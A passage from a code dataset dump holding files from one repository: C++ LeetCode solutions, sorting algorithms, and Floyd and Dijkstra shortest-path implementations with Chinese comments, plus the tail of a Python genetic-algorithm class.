< self.Pm:\\r\\n M[i] = np.random.uniform(self.bound_min, self.bound_max)\\r\\n else:\\r\\n for i in range(self.M_Size):\\r\\n if np.random.random() < self.Pm:\\r\\n M[i] = sorted([M[i] + np.random.choice([-1, 1]) * random.gauss(\\r\\n (self.bound_min + self.bound_max) / 2, 2 * (self.bound_max - self.bound_min) / self.M_Size), 0,\\r\\n 1])[1]\\r\\n return M\\r\\n\\r\\n def run(self):\\r\\n M = self.initM()\\r\\n t = 1\\r\\n while t <= self.T:\\r\\n fitness = self.fitness(M)\\r\\n fitness, M = self.select(fitness, M)\\r\\n M = self.cross(M)\\r\\n M = self.mutation(M, t)\\r\\n t += 1\\r\\n\\r\\n\\r\\nif __name__ == \\\"__main__\\\":\\r\\n ga = GA_extremum(M_Size=40, T=50, Pm=0.05, Pc=0.5, bound_min=0, bound_max=1)\\r\\n res = ga.run()\\r\\n print(\\\"最优解为：x={}\\\\n极值：{}\\\".format(res[0], res[1]))\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.45602163672447205,\n \"alphanum_fraction\": 0.4736129939556122,\n \"avg_line_length\": 23.55172348022461,\n \"blob_id\": \"54f041c7f468f99414aaa5a1c4fe8295535618db\",\n \"content_id\": \"671e15e246ba1ae3d09a47195927c62682ac94b3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 755,\n \"license_type\": \"no_license\",\n \"max_line_length\": 70,\n \"num_lines\": 29,\n \"path\": \"/leetcode/leetcode973.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 973.最接近原点的K个点\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n struct elem\\r\\n {\\r\\n vector<int> point;\\r\\n int dist;\\r\\n friend bool operator < (elem e1, elem e2) {\\r\\n return e1.dist >= e2.dist;\\r\\n }\\r\\n };\\r\\n vector<vector<int>> kClosest(vector<vector<int>>& points, int k) {\\r\\n priority_queue<elem> pq;\\r\\n vector<vector<int>>res;\\r\\n for(int i = 0; i < points.size(); i++){\\r\\n int temp = pow(points[i][0],2) + pow(points[i][1],2);\\r\\n pq.push({points[i],temp});\\r\\n }\\r\\n for(int i = 0; i < k; i++){\\r\\n res.push_back(pq.top().point);\\r\\n pq.pop();\\r\\n }\\r\\n return res;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.363778293132782,\n \"alphanum_fraction\": 0.37548789381980896,\n \"avg_line_length\": 28.452381134033203,\n \"blob_id\": \"318718580cc626ff3539f25e1a7d982ba73c8482\",\n \"content_id\": \"07b19fcff3d54c10266b2f10f10b88707d59d2ff\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1345,\n \"license_type\": \"no_license\",\n \"max_line_length\": 72,\n \"num_lines\": 42,\n \"path\": \"/leetcode/leetcode15.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 15.三数之和\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n vector<vector<int>> threeSum(vector<int>& nums) {\\r\\n vector<vector<int>> res;\\r\\n // 特判\\r\\n if(nums.size()<3) return res;\\r\\n sort(nums.begin(), nums.end());\\r\\n int i = 0;\\r\\n // 只要搜索到数组的倒数第三个就可以了，之后凑不齐3个数了\\r\\n while (i < nums.size()-2)\\r\\n {\\r\\n if(nums[i] > 0) return res;\\r\\n int left = i+1, right = nums.size()-1;\\r\\n while (left < right)\\r\\n {\\r\\n if(nums[i]+nums[left]+nums[right] == 0){\\r\\n res.push_back({nums[i],nums[left],nums[right]});\\r\\n while(left < right && nums[left] == nums[left+1]){\\r\\n left++;\\r\\n }\\r\\n while(left < right && nums[right] == nums[right-1]){\\r\\n right--;\\r\\n }\\r\\n left++;\\r\\n right--;\\r\\n } else if(nums[i]+nums[left]+nums[right] < 0){\\r\\n left++;\\r\\n } else right--;\\r\\n }\\r\\n while(i < nums.size()-2 && nums[i] == nums[i+1]){\\r\\n i++;\\r\\n }\\r\\n i++;\\r\\n }\\r\\n return res;\\r\\n }\\r\\n};\\r\\n\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.38492199778556824,\n \"alphanum_fraction\": 0.3903883397579193,\n \"avg_line_length\": 26.3258056640625,\n \"blob_id\": \"d6816a28c1b9602b686b1998e2aa0754c85615d8\",\n \"content_id\": \"9274e8eebd9d10310b5a166179777ebf12ed5d96\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 10223,\n \"license_type\": \"no_license\",\n \"max_line_length\": 101,\n \"num_lines\": 310,\n \"path\": \"/C/sorted.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<stdlib.h>\\r\\n#include<limits.h>\\r\\n#include<stdio.h>\\r\\n#include<vector>\\r\\n#include<algorithm>\\r\\nusing namespace std;\\r\\n\\r\\n\\r\\nstruct LinkNode\\r\\n {\\r\\n int key;\\r\\n LinkNode *next;\\r\\n LinkNode(int x) : key(x), next(NULL) {}\\r\\n }; \\r\\n\\r\\n\\r\\nclass sort_Insert //直接插入排序\\r\\n{ \\r\\npublic:\\r\\n\\r\\n /* 一、数组排序 */\\r\\n // 基本思想：从有序界开始与当前数字进行比较，如果比当前数字大，有序界数字向后移动\\r\\n void sort_InsertArray(int array[],int n) { \\r\\n int i , p;\\r\\n for (p = 1; p < n; p++) //排序界从1开始\\r\\n {\\r\\n int temp = array[p];\\r\\n for (i = p-1; i>0 && array[i]>temp ; i--)\\r\\n {\\r\\n array[i] = array[i-1]; //将比待排序数字大的数字都向后移一位\\r\\n }\\r\\n array[i] = temp;\\r\\n }\\r\\n }\\r\\n\\r\\n /*二、链表排序*/\\r\\n LinkNode* sort_InsertLink(LinkNode* head){\\r\\n if(head==NULL || head->next==NULL) return head;\\r\\n\\r\\n //定义伪头结点Tower\\r\\n LinkNode* Tower = new LinkNode(INT_MIN);\\r\\n Tower->next = head;\\r\\n\\r\\n //pre指向上一次移动的结点、end指向有序边界结点、now指向正在排序的结点\\r\\n LinkNode *pre=Tower, *end=Tower, *now=head;\\r\\n while (now)\\r\\n {\\r\\n if (now->key > end->key) //这种情况不变化\\r\\n {\\r\\n end = end->next;\\r\\n now = now->next;\\r\\n }\\r\\n else\\r\\n {\\r\\n if (now->key < pre->key) //正在排序的数比上次排序的数小，说明要进行移动，将pre置于头结点\\r\\n {\\r\\n pre = Tower;\\r\\n }\\r\\n while (pre->next && pre->next->key < now->key) //找到要操作的结点\\r\\n {\\r\\n pre = pre->next;\\r\\n }\\r\\n LinkNode* temp = now->next; //先保留下一个要操作的结点位置\\r\\n now->next = pre->next; //将正在排序的数与其后面的结点相连\\r\\n pre->next = now; //pre为上次移动的结点，因此置于正在操作的结点处\\r\\n end->next = temp; //有序界向后移动\\r\\n now = end->next; //更新正在操作的结点\\r\\n } \\r\\n }\\r\\n LinkNode* res = Tower->next;\\r\\n delete Tower;\\r\\n return res;\\r\\n }\\r\\n\\r\\n LinkNode* sort_InsertComplex(LinkNode* head){\\r\\n if (head==NULL || head->next==NULL) return head;\\r\\n LinkNode *Tower = new LinkNode(INT_MIN); // Tower是伪头结点，指向头结点\\r\\n Tower->next = head;\\r\\n LinkNode *p = Tower, *end = Tower, *cur = head; // p用于从头搜索数值，end用于确定已有序的区间，cur为正在排序的结点\\r\\n while (cur)\\r\\n {\\r\\n if (cur->key > end->key) // 这种情况顺序是合理的\\r\\n {\\r\\n end = end->next;\\r\\n cur = cur->next;\\r\\n }\\r\\n else \\r\\n {\\r\\n p = Tower; // 先将用于搜索的指针置于伪头\\r\\n while (p->next && p->next->key < cur->key)\\r\\n {\\r\\n p = p->next; // 找到要移动的结点\\r\\n } \\r\\n LinkNode *temp = cur->next; //正在排序部分的局部顺序应该是 head-->...->cur->p->...->end->temp->...\\r\\n cur->next = p->next; \\r\\n p->next = cur;\\r\\n end->next = temp;\\r\\n cur = end->next; \\r\\n } \\r\\n }\\r\\n return Tower->next; // 返回头结点\\r\\n }\\r\\n\\r\\n LinkNode* creatLink(){\\r\\n LinkNode *head = new LinkNode(INT_MIN);\\r\\n LinkNode *pre = new LinkNode(INT_MIN);\\r\\n pre = head;\\r\\n for (int i = 8; i >= 0; i--)\\r\\n {\\r\\n LinkNode *p = new LinkNode(0);\\r\\n p->key = i;\\r\\n pre->next = p;\\r\\n pre = p;\\r\\n }\\r\\n return head;\\r\\n }\\r\\n \\r\\n void print(LinkNode *head){\\r\\n while (head->next)\\r\\n {\\r\\n printf(\\\"%d \\\",head->next->key);\\r\\n head = head->next;\\r\\n }\\r\\n }\\r\\n};\\r\\n\\r\\nclass sort_Bubble //冒泡排序\\r\\n{\\r\\npublic:\\r\\n /*一、数组排序*/\\r\\n void sort_BubbleArray(int array[],int n){\\r\\n bool flag; // 指示是否发生元素移动，如果没发生，说明已经有序，终止排序\\r\\n for (int i = n-1; i >= 0; i--) //由于每轮排序将最大的数排至末尾，因此要指定末尾的位置\\r\\n {\\r\\n flag = false;\\r\\n for (int j = 0; j < i; j++)\\r\\n {\\r\\n if (array[j]>array[j+1])\\r\\n {\\r\\n int temp = array[j];\\r\\n array[j] = array[j+1];\\r\\n array[j+1] = temp;\\r\\n flag = true;\\r\\n } \\r\\n }\\r\\n if(!flag) break; \\r\\n } \\r\\n }\\r\\n\\r\\n /*二、链表排序*/\\r\\n LinkNode* sort_BubbleLink(LinkNode* head){\\r\\n LinkNode *pre, *cur, *tail;\\r\\n tail = NULL;\\r\\n while (head->next != tail) // 根据冒泡排序的特性，每次会将最大数排至最后，因此设置尾指针区分排序区\\r\\n {\\r\\n pre = head;\\r\\n cur = head->next; // cur表示正在排序的位置\\r\\n while (cur->next != tail) // 在有序区之前\\r\\n {\\r\\n if (cur->key > cur->next->key)\\r\\n {\\r\\n pre->next = cur->next;\\r\\n cur->next = pre->next->next;\\r\\n pre->next->next = cur;\\r\\n }\\r\\n else cur = cur->next;\\r\\n pre = pre->next; \\r\\n }\\r\\n tail = cur; // 每轮排序结束后更新界指针\\r\\n }\\r\\n return head; \\r\\n }\\r\\n};\\r\\n\\r\\nclass sort_Heap{ //堆排序\\r\\npublic:\\r\\n // 将以root为根的子树调整为大根堆\\r\\n void heap_Adjust(int array[],int root,int n){ \\r\\n int parent, child;\\r\\n int temp;\\r\\n temp = array[root]; // 每次比较是用传入的root节点的值与各个孩子节点进行比较\\r\\n for (parent = root; parent*2+1 < n; parent=child)\\r\\n {\\r\\n child = parent * 2 + 1;\\r\\n if (child!=n-1 && array[child]<array[child+1]) // 找出左右孩子的最大孩子\\r\\n child++;\\r\\n if (temp >= array[child]) break; //判断孩子值是否大于根值\\r\\n else\\r\\n {\\r\\n array[parent] = array[child];\\r\\n } \\r\\n }\\r\\n array[parent] = temp; // 最后剩下的空位就是parent的值应在的位置 \\r\\n }\\r\\n\\r\\n // 根据堆进行排序\\r\\n void sort_heap(int array[], int n){\\r\\n int i;\\r\\n for (i = n/2-1; i >= 0; i--) // 无序数组建堆\\r\\n {\\r\\n heap_Adjust(array,i,n);\\r\\n }\\r\\n for (i = n-1; i > 0; i--) // 弹出顶元素（排序过程）\\r\\n {\\r\\n int temp = array[0]; // 每次将待排序列最大值移至尾部，再重建堆，直到堆清空\\r\\n array[0] = array[i];\\r\\n array[i] = temp; \\r\\n heap_Adjust(array,0,i);\\r\\n } \\r\\n }\\r\\n};\\r\\n\\r\\nclass sort_Shell // 希尔排序\\r\\n{\\r\\npublic:\\r\\n void sort_shellArray(int array[],int n){\\r\\n int gap = n;\\r\\n int i, j, temp;\\r\\n for (gap>>=2; gap>0; gap>>=2){\\r\\n for (i = gap; i < n; i++)\\r\\n {\\r\\n j = 0;\\r\\n temp = array[i];\\r\\n for (j = i-gap; j>=0 && temp<array[j]; j = j-gap)\\r\\n {\\r\\n array[j + gap] = array[j];\\r\\n }\\r\\n array[j + gap] = temp;\\r\\n }\\r\\n }\\r\\n } \\r\\n};\\r\\n\\r\\nclass sort_Select // 直接选择排序\\r\\n{\\r\\npublic:\\r\\n void sort_SelectArray(int array[], int n){\\r\\n int index;\\r\\n int val;\\r\\n for (int i = 0; i < n-1; i++)\\r\\n {\\r\\n val = array[i];\\r\\n index = i;\\r\\n for (int j = i;j < n;j++)\\r\\n {\\r\\n if (array[j] < val)\\r\\n {\\r\\n index = j;\\r\\n val = array[j];\\r\\n }\\r\\n }\\r\\n int temp = array[i];\\r\\n array[i] = array[index];\\r\\n array[index] = temp;\\r\\n } \\r\\n }\\r\\n};\\r\\n\\r\\nclass sort_Quick{ // 快速排序\\r\\npublic:\\r\\n // 选定基准值\\r\\n int partition(int array[],int low,int high){\\r\\n int pivot = array[high]; // 取最后一个值作基准\\r\\n int i = low - 1; // i是小元素指针，j是大元素指针\\r\\n //j从数组头部开始，每发现一个比基准小的数，就将它换至i处\\r\\n //i每接受一个最小数，就+1，可以理解为开新格子放东西\\r\\n for (int j = low; j < high; j++)\\r\\n {\\r\\n if (array[j] <= pivot)\\r\\n {\\r\\n i++;\\r\\n int temp = array[i];\\r\\n array[i] = array[j];\\r\\n array[j] = temp;\\r\\n }\\r\\n }\\r\\n //在这里，i指向的是最靠近中部的比基准数小的值\\r\\n //i+1是第一个比基准数大的值，因此让其与基准交换，便可区分大小\\r\\n int temp = array[i+1];\\r\\n array[i+1] = array[high];\\r\\n array[high] = temp;\\r\\n return i+1; \\r\\n }\\r\\n // 快速排序 , 递归\\r\\n void sort_quick(int array[],int left,int right){\\r\\n if (left < right){\\r\\n int p = partition(array,left,right);\\r\\n sort_quick(array,left,p-1);\\r\\n sort_quick(array,p+1,right);\\r\\n } \\r\\n }\\r\\n};\\r\\n\\r\\nclass sort_Bucket{ // 桶排序\\r\\npublic:\\r\\n void sort_BucketArray(int array[],int n){\\r\\n vector<int> vec[n];\\r\\n for (int i = 0; i < n; i++){\\r\\n int bi = array[i];\\r\\n vec[bi].push_back(array[i]);\\r\\n }\\r\\n for (int i = 0; i < n; i++)\\r\\n sort(vec[i].begin(),vec[i].end());\\r\\n \\r\\n int index = 0;\\r\\n for (int i = 0; i < n; i++)\\r\\n for (int j = 0;j < vec[i].size(); j++)\\r\\n array[index++] = vec[i][j];\\r\\n }\\r\\n};\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.3597733676433563,\n \"alphanum_fraction\": 0.39376771450042725,\n \"avg_line_length\": 17.61111068725586,\n \"blob_id\": \"1ee0dd284729a04b4ad926c8fec98aca6f34b856\",\n \"content_id\": \"e351c8975ae54edc97d1f75831cd4a11d577b67e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 357,\n \"license_type\": \"no_license\",\n \"max_line_length\": 36,\n \"num_lines\": 18,\n \"path\": \"/leetcode/leetcode263.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 263.丑数\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n bool isUgly(int n) {\\r\\n if(n <= 0) return false;\\r\\n int arr[3] = {2,3,5};\\r\\n for(int i = 0;i < 3;i++){\\r\\n while(n % arr[i] == 0) {\\r\\n n /= arr[i];\\r\\n }\\r\\n }\\r\\n return n == 1;\\r\\n }\\r\\n};\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.3565604090690613,\n \"alphanum_fraction\": 0.36767977476119995,\n \"avg_line_length\": 21.59649085998535,\n \"blob_id\": \"e252216e46a6114ad286216bf57ee3bf37bb6fda\",\n \"content_id\": \"06c4d4436e57aae375667a866ce2a8e6c3a6770d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1517,\n \"license_type\": \"no_license\",\n \"max_line_length\": 102,\n \"num_lines\": 57,\n \"path\": \"/C/Floyd.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\n#include<algorithm>\\r\\nusing namespace std;\\r\\n\\r\\n/*\\r\\n原理：\\r\\n 如果有一个点 K ，使得 i-->K-->j 的距离小于 i-->j 的距离\\r\\n 则：用点 K作为点(i,j)的中介点\\r\\n\\r\\n伪代码：\\r\\n void Floyd() {\\r\\n 枚举顶点 K：\\r\\n 以 K作为中介点，枚举顶点 i，j：\\r\\n if (dist[i][k] + dist[k][j] < dist[i][j])\\r\\n {\\r\\n dist[i][j] = dist[i][k] + dist[k][j]\\r\\n }\\r\\n }\\r\\n*/\\r\\n\\r\\nconst int MAX = 200;\\r\\nint n, m;\\r\\nint dist[MAX][MAX]; // 默认为 INT_MAX\\r\\n\\r\\n// 算法\\r\\nvoid Floyd() {\\r\\n for (int k = 0; k < n; k++)\\r\\n for (int i = 0; i < n; i++)\\r\\n for (int j = 0; j < n; j++)\\r\\n if(dist[i][k] != INT_MAX && dist[k][j] != INT_MAX && dist[i][k]+dist[k][j]<dist[i][j])\\r\\n dist[i][j] = dist[i][k] + dist[k][j];\\r\\n}\\r\\n\\r\\nint main() {\\r\\n int x,y,w;\\r\\n fill(dist[0],dist[0]+MAX*MAX,INT_MAX);\\r\\n scanf(\\\"%d%d\\\",&n,&m); // 顶点数与边数\\r\\n for (int i = 0; i < n; i++){ \\r\\n // 点到自己的距离为 0\\r\\n dist[i][i] = 0;\\r\\n }\\r\\n for (int i = 0; i < m; i++)\\r\\n {\\r\\n // 输入边的权重与边的两顶点\\r\\n scanf(\\\"%d%d%d\\\",&x,&y,&w);\\r\\n dist[x][y] = w;\\r\\n }\\r\\n Floyd();\\r\\n for (int i = 0; i < n; i++){\\r\\n for (int j = 0; j < n; j++){\\r\\n if (dist[i][j] != INT_MAX)\\r\\n printf(\\\"%d--%d = %d\\\\n\\\",i,j,dist[i][j]);\\r\\n }\\r\\n // printf(\\\"\\\\n\\\");\\r\\n } \\r\\n return 0;\\r\\n}\\r\\n\\r\\n\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.455798864364624,\n \"alphanum_fraction\": 0.4785076975822449,\n \"avg_line_length\": 26.674419403076172,\n \"blob_id\": \"0478152d4d679012e510c1348f0ba7c427e3d1e9\",\n \"content_id\": \"ee2f011a2effab6277776e447650cab7a10552da\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1247,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 43,\n \"path\": \"/leetcode/leetcode23.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 23.合并k个升序链表\\r\\n\\r\\nstruct ListNode {\\r\\n int val;\\r\\n ListNode *next;\\r\\n ListNode() : val(0), next(nullptr) {}\\r\\n ListNode(int x) : val(x), next(nullptr) {}\\r\\n ListNode(int x, ListNode *next) : val(x), next(next) {}\\r\\n};\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n ListNode* mergeKLists(vector<ListNode*>& lists) {\\r\\n ListNode *tower = nullptr;\\r\\n for(int i = 0; i < lists.size(); i++){\\r\\n tower = mergeTwoLists(tower,lists[i]);\\r\\n }\\r\\n return tower;\\r\\n }\\r\\n\\r\\n ListNode* mergeTwoLists(ListNode* l1, ListNode* l2) {\\r\\n if(l1 == nullptr && l2 != nullptr) return l2;\\r\\n else if(l1 != nullptr && l2 == nullptr) return l1;\\r\\n else if(l1 == nullptr && l2 == nullptr) return nullptr;\\r\\n ListNode *head = new ListNode(1);\\r\\n ListNode *ret = head;\\r\\n while (l1 != NULL && l2 != NULL){\\r\\n if (l1->val <= l2->val){\\r\\n ret->next = l1;\\r\\n l1 = l1->next;\\r\\n } else{\\r\\n ret->next = l2;\\r\\n l2 = l2->next;\\r\\n }\\r\\n ret = ret->next;\\r\\n }\\r\\n ret->next = l1 == NULL ? l2 : l1;\\r\\n return head->next;\\r\\n }\\r\\n};\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.5370370149612427,\n \"alphanum_fraction\": 0.5555555820465088,\n \"avg_line_length\": 17.81818199157715,\n \"blob_id\": \"ae7353ca375c558d969154c2ba545c98a7f8cb8a\",\n \"content_id\": \"b37c54e78ff24b82b35aff1c9a03990cce201e95\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 238,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 11,\n \"path\": \"/leetcode/leetcode_sword65.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 剑指offer-65. 不用加减乘除做加法\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n int add(int a, int b) {\\r\\n return b == 0 ? a : add(a^b, (unsigned int)(a&b) << 1);\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.3787755072116852,\n \"alphanum_fraction\": 0.38938775658607483,\n \"avg_line_length\": 23.040817260742188,\n \"blob_id\": \"7e830d55345b4839e0a83c7f6f0081f5dfe5a359\",\n \"content_id\": \"190352669cbd1c165fecd0540815af5bf418bbe8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1579,\n \"license_type\": \"no_license\",\n \"max_line_length\": 70,\n \"num_lines\": 49,\n \"path\": \"/leetcode/leetcode880.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 880. 索引处的解码字符串\\r\\n\\r\\n/*\\r\\n思路：\\r\\n1.首先遍历整个字符串，记录最终字符串的长度：\\r\\n 若当前解析出的字符串长度 < K,继续解析；\\r\\n 若 > K,停止解析\\r\\n2. 当前字符串长度为 sum>K\\r\\n 从停止解析前最后遍历的字符 S[i] 开始回退：\\r\\n 若该字符c为数字，则 sum/c（因为说明总长度遇到这个数字后重复了c遍）\\r\\n 若 sum/c < K，说明第 K位在 sum/c ~ sum这段区间内，且结果字符存在于 sum/c这段字符串内；\\r\\n 则 K %= (sum/c) ，如果 K=0，则退出搜索，结果为 S[i]\\r\\n 若该字符c为字母，则 sum--\\r\\n i--\\r\\n 当前字符串长度 sum == K，退出搜索，结果为 S[i]\\r\\n3. \\r\\n\\r\\n*/\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n string decodeAtIndex(string S, int K) {\\r\\n string ans;\\r\\n int n = S.length();\\r\\n long sum = 0, i = 0; \\r\\n for (; i < n; i++) { \\r\\n if (isalpha(S[i])) sum++;\\r\\n else { sum *= (S[i] - '0'); }\\r\\n if (sum >= K) break;\\r\\n }\\r\\n for (; i >= 0; i--) {\\r\\n if (sum > K){\\r\\n if (isdigit(S[i])) {\\r\\n sum /= (S[i] - '0');\\r\\n if (K > sum){\\r\\n K %= sum;\\r\\n if (K == 0) break;\\r\\n }\\r\\n } else sum--;\\r\\n } else if (sum == K) break;\\r\\n }\\r\\n while (isdigit(S[i])) i--;\\r\\n ans += S[i];\\r\\n return ans;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.3832857012748718,\n \"alphanum_fraction\": 0.39500001072883606,\n \"avg_line_length\": 21.72881317138672,\n \"blob_id\": \"cce2ef1bacd7d81b3ed5ddbc881795aa599591d1\",\n \"content_id\": \"9ba38ea2d309717fc3742a9b98dfb3d1d29299c4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 8664,\n \"license_type\": \"no_license\",\n \"max_line_length\": 108,\n \"num_lines\": 295,\n \"path\": \"/C/dijkstra.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n#define MAX 500\\r\\n\\r\\n/* dijkstra 计算最短距离的伪代码\\r\\n\\r\\n#define MAX 500\\r\\nint Graph[MAX][MAX];\\r\\nint dist[MAX]; \\r\\nbool visit[MAX];\\r\\n\\r\\nvoid dijkstra(int start)\\r\\n{\\r\\n 初始化dist (1) \\r\\n for(循环n次) \\r\\n {\\r\\n u = dist[MAX]中最小且没被访问过的顶点 (2)\\r\\n visit[u] = true\\r\\n for(从u出发能到达的所有顶点k) (3)\\r\\n {\\r\\n if(k没被访问过 && 以u为中转点的start-->k的距离比dist[k]小) (4)\\r\\n {\\r\\n 更新dist[k] (5)\\r\\n }\\r\\n }\\r\\n }\\r\\n}\\r\\n*/\\r\\n\\r\\nint Graph[MAX][MAX];\\r\\nint dist[MAX];\\r\\nbool visit[MAX];\\r\\n\\r\\nvoid dijkstra_1(int start){ // dijkstra计算最短距离\\r\\n\\r\\n // （1）. 初始化dist\\r\\n fill(dist,dist+MAX,INT_MAX); \\r\\n dist[start] = 0;\\r\\n\\r\\n // （2）.找到dist[]中最小且没被访问过的点\\r\\n\\r\\n for(int i = 0; i < MAX;i++)\\r\\n {\\r\\n int u = -1, minDist = INT_MIN;\\r\\n for(int j = 0;j < MAX;j++)\\r\\n {\\r\\n if(!visit[j] && dist[j]<minDist)\\r\\n {\\r\\n u = j;\\r\\n minDist = dist[j];\\r\\n }\\r\\n }\\r\\n \\r\\n // （3）. 如果找不到更小的dist[]，说明不连通，如果找到，则标记visit[u]为true\\r\\n if(u == -1) return;\\r\\n visit[u] = true;\\r\\n\\r\\n // （4）. 遍历从u能到达的所有点并更新dist[]\\r\\n for(int k = 0;k < MAX;k++)\\r\\n {\\r\\n // k没被访问过 && u与k之间是连通的 && “起点-->u-->k”的距离比现有的“起点-->k”更短\\r\\n if(!visit[k] && Graph[u][k]!=INT_MAX && dist[u] + Graph[u][k] < dist[k])\\r\\n {\\r\\n dist[k] = dist[u] + Graph[u][k];\\r\\n }\\r\\n }\\r\\n }\\r\\n}\\r\\n\\r\\n\\r\\n/* 修改： dijkstra 解最短路径\\r\\n\\r\\n需要增添一个 preNode[MAX],记录点k的前驱\\r\\n代码上只需要在第一部分伪代码的序号（5）后面增加一条：\\r\\n\\r\\n \\\"令k的前驱为u\\\" (6)\\r\\n\\r\\nvoid dijkstra(int start)\\r\\n{\\r\\n 初始化dist (1) \\r\\n for(循环n次) \\r\\n {\\r\\n u = dist[MAX]中最小且没被访问过的顶点 (2)\\r\\n visit[u] = true\\r\\n for(从u出发能到达的所有顶点k) (3)\\r\\n {\\r\\n if(k没被访问过 && 以u为中转点的start-->k的距离比dist[k]小) (4)\\r\\n {\\r\\n 更新dist[k] (5)\\r\\n 令k的前驱为u (6)\\r\\n }\\r\\n }\\r\\n }\\r\\n}\\r\\n\\r\\n但是preNode中得到的是每个顶点的直接前驱，想要得到完整的最短路径，需要用 DFS不断递归寻找前驱，直到到达 start\\r\\n\\r\\n*/\\r\\n\\r\\nint preNode[MAX];\\r\\n\\r\\nvoid dijkstra_2(int start)\\r\\n{\\r\\n // （1）初始化 dist[] 和 preNode[]\\r\\n fill(dist,dist+MAX,INT_MAX);\\r\\n dist[start] = 0;\\r\\n for(int i = 0;i < MAX;i++) preNode[i] = i;\\r\\n\\r\\n // （2）.找到dist[]中最小且没被访问过的点\\r\\n for(int i = 0; i < MAX;i++)\\r\\n {\\r\\n int u = -1, minDist = INT_MIN;\\r\\n for(int j = 0;j < MAX;j++)\\r\\n {\\r\\n if(!visit[j] && dist[j]<minDist)\\r\\n {\\r\\n u = j;\\r\\n minDist = dist[j];\\r\\n }\\r\\n }\\r\\n \\r\\n // （3）. 如果找不到更小的dist[]，说明不连通，如果找到，则标记visit[u]为true\\r\\n if(u == -1) return;\\r\\n visit[u] = true;\\r\\n\\r\\n // （4）. 遍历从u能到达的所有点并更新dist[]\\r\\n for(int k = 0;k < MAX;k++)\\r\\n {\\r\\n // k没被访问过 && u与k之间是连通的 && “起点-->u-->k”的距离比现有的“起点-->k”更短\\r\\n if(!visit[k] && Graph[u][k]!=INT_MAX && dist[u] + Graph[u][k] < dist[k])\\r\\n {\\r\\n dist[k] = dist[u] + Graph[u][k];\\r\\n preNode[k] = u; // 更新前驱\\r\\n }\\r\\n } \\r\\n } \\r\\n}\\r\\n\\r\\n\\r\\n/* 附加条件：如果对每条边增加一个边权(额外开销)，求在最短路径有多少条时要求路径上的花费之和最大/小\\r\\n\\r\\n新增一个开销矩阵 Cost[MAX][MAX]\\r\\n并对第一段伪代码的序号 （3）修改\\r\\n*/\\r\\n\\r\\nint C[MAX][MAX];\\r\\nint cost[MAX];\\r\\n\\r\\nvoid dijkstra_3(int start)\\r\\n{\\r\\n // （1）初始化 dist[] \\r\\n fill(dist,dist+MAX,INT_MAX);\\r\\n dist[start] = 0;\\r\\n\\r\\n // （2）.找到dist[]中最小且没被访问过的点\\r\\n for(int i = 0; i < MAX;i++)\\r\\n {\\r\\n int u = -1, minDist = INT_MIN;\\r\\n for(int j = 0;j < MAX;j++)\\r\\n {\\r\\n if(!visit[j] && dist[j]<minDist)\\r\\n 